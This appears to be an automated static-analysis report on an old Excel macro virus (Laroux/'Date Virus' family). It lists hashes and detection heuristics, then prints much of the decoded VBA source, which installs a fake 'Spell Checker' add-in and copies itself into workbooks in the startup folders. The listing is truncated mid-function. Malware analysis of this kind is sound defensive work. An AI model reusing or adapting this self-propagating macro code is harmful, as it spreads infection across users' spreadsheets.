Xls.Trojan.SpellChecker-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 6e358596300e1fb6…

MALICIOUS

Office (OLE)

37.5 KB Created: 1998-09-29 12:48:43 First seen: 2012-06-14
MD5: 6d75ada55f749f505ad37d384f8036d3 SHA-1: 3b48037248c4a442471ef9c90a3a6e60a8b4bd90 SHA-256: 6e358596300e1fb6e023d691e91127101662d45ab9976ae49594e9d2e6d8ba3e
320 Risk Score

Malware Insights

Xls.Trojan.SpellChecker-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as a malicious Excel macro virus, specifically 'Xls.Trojan.SpellChecker-1', by ClamAV. It contains VBA macros with Auto_Open and Auto_Close functions designed to infect other workbooks. The script attempts to spread by looking for other workbooks and scheduling infection routines, indicating a self-propagating malicious document.

Heuristics 6

  • ClamAV: Xls.Trojan.SpellChecker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.SpellChecker-1
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17935 bytes
SHA-256: ce1b776896b42d5bb231dbc7db251220633cc7782e68e44012f1963aabf8e5b3
Detection
ClamAV: Xls.Trojan.SpellChecker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MSExcel"

' Date Virus.
' Created: May 1, 1996.
'
' NOTE:
' The Date Virus was inspired by the Laroux virus.  While this particular
' macro virus is harmless, others are not!  This macro virus was developed
' to bring attention to the possible threat in the hopes that antivirus software
' will be developed to protect this application.

Public NextSchedule
Public Running

Function HasAddIn() As Boolean
Attribute HasAddIn.VB_ProcData.VB_Invoke_Func = " \n14"
    HasAddIn = False
    For Each prog In AddIns
        If prog.Name = "SPELLCK.XLA" Then HasAddIn = True: Exit For
    Next
End Function

Sub Auto_Close()
Attribute Auto_Close.VB_ProcData.VB_Invoke_Func = " \n14"
    If (ThisWorkbook.Name = "SPELLCK.XLA") Then Exit Sub
    If Running = False Then Exit Sub

    For Each book In Workbooks
       If book.Name <> ThisWorkbook.Name Then
          For Each modul In book.Modules
             If modul.Name = "MSExcel" Then
                Application.OnTime Now, book.Name & "!MSExcel.RepeatInfect"
             End If
          Next
       End If
    Next

    Application.OnTime NextSchedule, ThisWorkbook.Name & "!MSExcel.RepeatInfect", , False
    Application.DisplayAlerts = False
    ThisWorkbook.Close
End Sub

Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
    Dim fname As String
    Dim WB, WS As String
        
    If (ThisWorkbook.Name = "SPELLCK.XLA") Then Payload
    
    Counter = 0: AppInfected = False: WB = WS = ""
    
    On Error Resume Next
    WS = ActiveSheet.Name
    WB = ActiveWorkbook.Name
    On Error GoTo GotError

    ' don't want to leave the Mac users out of the fun!
    If (Left(Application.OperatingSystem, 3) = "Mac") Then
        fname = CurDir() & Application.PathSeperator & "SPELLCK.XLA"
    Else
        fname = "C:\SPELLCK.XLA"
    End If
    
    If (Dir(fname) = "") Then
       ThisWorkbook.Activate
       ThisWorkbook.Title = "Spell Checker"
       addinfname = "VBA.MAKE.ADDIN(""" & fname & """)"
       ExecuteExcel4Macro addinfname
       On Error Resume Next
       Workbooks(WB).Activate
       Worksheets(WS).Activate
       On Error GoTo GotError
    End If

    If HasAddIn = True Then
       If (AddIns("Spell Checker").Installed = False) Then AddIns("Spell Checker").Installed = True
    Else
       AddIns.Add(fname, False).Installed = True
    End If
    
    For Each book In Workbooks
       If book.Name <> ThisWorkbook.Name Then
          For Each modul In book.Modules
             If modul.Name = "MSExcel" Then
                Running = False
                Exit Sub
             End If
          Next
       End If
    Next

    ' attempt to infect the user's startup files.
    If (Left(Application.OperatingSystem, 3) = "Mac") Then
       StartFile = Dir(Application.StartupPath, MacID("XCEL"))
    Else
       StartFile = Dir(Application.StartupPath & Application.PathSeparator & "*.XLS")
    End If
    If ((StartFile <> "") And (StartFile <> ThisWorkbook.Name)) Then
       On Error Resume Next
       Workbooks.Open(Application.StartupPath & Application.PathSeparator & StartFile).Activate
       Infect
       ActiveWorkbook.Save
       ActiveWorkbook.Close
       Workbooks(WB).Activate
       Worksheets(WS).Activate
       On Error GoTo GotError
    End If
    If (Left(Application.OperatingSystem, 3) = "Mac") Then
       StartFile = Dir(Application.AltStartupPath, MacID("XCEL"))
    Else
       StartFile = Dir(Application.AltStartupPath & Application.PathSeparator & "*.XLS")
    End If
    If ((StartFile <> "") And (StartFile <> ThisWorkbook.Name)) Then
       On Error Resume Next
       Workbooks.Open(Application.AltStartupPath & Application.PathSeparator & StartFile).Activate
       Infect
       ActiveWorkbook.Save
       ActiveWorkbook.Close
       Workbooks(WB).Activate
       Worksheets(WS).Activate
       On Error GoTo GotError
    End If

GotError:
   RepeatInfect
End Sub

Function RepeatInfect()
Attribute R
... (truncated)

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